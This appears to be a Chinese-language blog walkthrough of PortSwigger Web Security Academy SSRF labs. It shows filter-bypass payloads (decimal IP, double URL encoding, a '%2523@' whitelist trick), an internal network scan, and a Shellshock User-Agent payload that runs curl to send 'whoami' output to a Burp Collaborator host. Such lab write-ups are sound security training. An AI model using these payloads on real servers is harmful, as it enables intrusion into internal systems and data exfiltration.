Portswigger web security academy:Server-side request forgery (SSRF)

Basic SSRF against the local server

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
  • 解题过程

    • 寻找漏洞功能点

      • 在商品详情页底部

      • 很明显stockApi 是一个url-encode之后的url

    • 访问/admin

      • 发现删除carlos 的链接

    • 删除carlos

      • ssrf访问/admin/delete?username=carlos 即可

Basic SSRF against another back-end system

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求扫描192.168.0.x网段的8080端口,寻找admin页面,并删除carlos
  • 解题过程

    • 相比上道题,只多了一个扫描,用intruder即可完成

      • 直接抓包丢给intruder

      • 网段范围0 - 255

      • 发现admin页面

    • 按照上道题,利用ssrf访问删除即可

SSRF with blacklist-based input filter

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有比较弱的防御SSRF的过滤
  • 解题过程

    • 寻找过滤关键字

      • 127.0.0.1
      • localhost
      • admin
    • bypass

      • 使用数字ip

        • 127.0.0.1转换为数字ip2130706433
      • url编码

        • 通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码

        • admin转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

        • 拼接:http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

    • 访问http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos即可

SSRF with whitelist-based input filter

  • 题目描述

    • 好家伙,第四个就直接来EXPERT等级
    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有防御SSRF的过滤
  • 解题过程

    • 先尝试数字ip

      被告知url只能是指定站点stock.weliketoshop.net

    • 尝试使用xip.io绕过

      发现仍然提示,只能访问指定站点

    • 考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容

      • 必须是http://stock.weliketoshop.net开头,中间不能有其他字符

      • http://127.0.0.1@stock.weliketoshop.net:8080 可行 而 http://stock.weliketoshop.net:8080@127.0.0.1不可行

        而且http://stock.weliketoshop.net这个域名没有注册,所以应该是正则匹配

      • 推测正则

        • ^http://([^\s]{1,}@){0,1}stock.weliketoshop.net(:\d)?(/[-./?%&=\w]*)?

        • 去网上看了好多绕过的文章和姿势,都绕不过 = =

      一度陷入自我怀疑

    • 又看了下正则,我觉得可能的情况只有两种

      • 存在url跳转
      • 用@ HTTP基础验证
    • 尝试url跳转

      • 参数污染(x
      • api泄露(x
      • get参数fuzz(x 我还扔到sqlmap和dirsearch里跑了一遍
      • url解析漏洞(x
    • 尝试用@ HTTP基础验证

      在这个正则下,只能是xxx@stock.weliketoshop.net

      • 我第一个想到的是用#锚,使得@stock.weliketoshop.net失效

        http://127.0.0.1#@stock.weliketoshop.net

        但是这样的话,锚会直接生效,会获取到错误的hostname

      • 所以需要url-encode一次,使得接收到时#为url编码,检查通过后向内网发起请求时才是#

        http://127.0.0.1%23@stock.weliketoshop.net

        (这一步我脑子瓦特了,因为#作为url关键字,本身就会被编码一次,即:#在url里发送出去就是%23

        所以应该是http://127.0.0.1%2523@stock.weliketoshop.net (啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)

    • 剩下的就和之前的方法一样

SSRF with filter bypass via open redirection vulnerability

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://192.168.0.12:8080/admin并删除用户carlos
    • 库存检查把访问权限限制为了本地,所以需要寻找重定向来绕过
  • 解题过程

    • 寻找重定向接口

      • 在商品详情的翻页中找到一个比较像的

    • 测试接口

      • stockApi=/product/nextProduct?path=/

      • 看起来有点像302.php,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock即可

Blind SSRF with out-of-band detction

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求生成一个访问collaborator的HTTP请求
  • 解题过程

    • 直接把Referer改成collaborator的url即可

      这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了

Blind SSRF with Shellshock exploitation

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求通过SSRF,发现192.168.0.x中的一个存活主机,使用Shellshock的payload攻击该存活主机,并利用collaborator获取用户名
  • 解题过程

    • 先去搜了下Shellshock

      • CVE-2014-6271 破壳漏洞(bash的一个漏洞)

      • 这篇文章 写的很清楚

        节选部分

        POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

          env : 设置环境变量后执行程序
        
          bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义

        通过 bash -c 开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出 vulnerable , 然后再输出 this is a test .

        简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .

    • 按照上道题,测试漏洞点

      • 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用gopher,但是尝试过不成功
      • 寻找存活主机? 这也没有反馈,只能构造好payload,一把梭哈
      • 寻找构造SSRF的方法?没找到
    • 看了下solution,意思是把目标主机URL放在Refererpayload放在UA

      • 先试试

        payload:() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`

      • 成功了

      也就是说,分析功能在访问Referer的同时,会带上原本的User-Agent。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点

Portswigger web security academy:Server-side request forgery (SSRF)的更多相关文章

  1. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  2. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  4. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  7. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  8. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  9. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

随机推荐

  1. solr 远程代码执行(CVE-2019-12409)

    Apache Solr 远程代码执行漏洞(CVE-2019-12409) 简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.是apache的顶级开源项 ...

  2. css盒布局-省份选择盘的实现

    1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="U ...

  3. Mac下安装lightgb并在jupyter中使用

    1.先安装cmake和gcc brew install cmake brew install gcc 2.下载后确定自己的gcc版本 cd /usr/local/opt/gcc/lib/gcc/ 看到 ...

  4. 对用pyinstaller打包的exe程序进行反编译,获得源码

    参考文章: 1.https://www.cnblogs.com/DirWang/p/12018949.html#PyInstallerExtractor 2.https://msd.misuland. ...

  5. Java学习之浅析高内聚低耦合

    •前言 如果你涉及软件开发,可能会经常听到 "高内聚,低耦合" 这种概念型词语. 可是,何为 "高内聚,低耦合" 呢? •概念 "高内聚,低耦合&qu ...

  6. 全网最详细的Linux命令系列-iptrad-ng网络流量监测命令

    观察网络流量的工具:IPTRAF 想知道你的Linux系统上网络流量有多大吗?想知道是哪一块网卡承载着网络流量吗?想知道哪一个进程产生了网络流量吗?iptraf可以帮你做到.在最新的Linux rel ...

  7. [状压DP]吃奶酪

    吃 奶 酪 吃奶酪 吃奶酪 题目描述 房间里放着 n n n 块奶酪.一只小老鼠要把它们都吃掉,问至少要跑多少距离?老鼠一开始在 ( 0 , 0 ) (0,0) (0,0)点处. 输入 第一行有一个整 ...

  8. 华为联运游戏或应用审核驳回:HMS Core升级提示语言类型错误

    问题描述 最近项目组应用集成华为的HMS Core SDK相关能力后,发布地区选择中国大陆,提交审核,华为审核驳回:在低于2.5.3版本的华为移动服务手机上启动时或调出支付时拉起升级提示为英文,正确的 ...

  9. C程序数组算法 — 冒泡法排序【前冒 || 后冒】

    第一种写法(前冒泡): /* C程序数组算法 - 冒泡法排序 * 此例子按照 大 -> 小 排序 * 原理:两两相比较,然后进行大小对调 * 比较次数: n^2 次 * 说明:冒泡排序是相对稳定 ...

  10. Spring Boot入门学习

    1. Spring Boot概述 1.1.什么是Spring Boot SpringBoot是一个可使用Java构建微服务的微框架.是Spring框架及其社区对"约定优先于配置"理 ...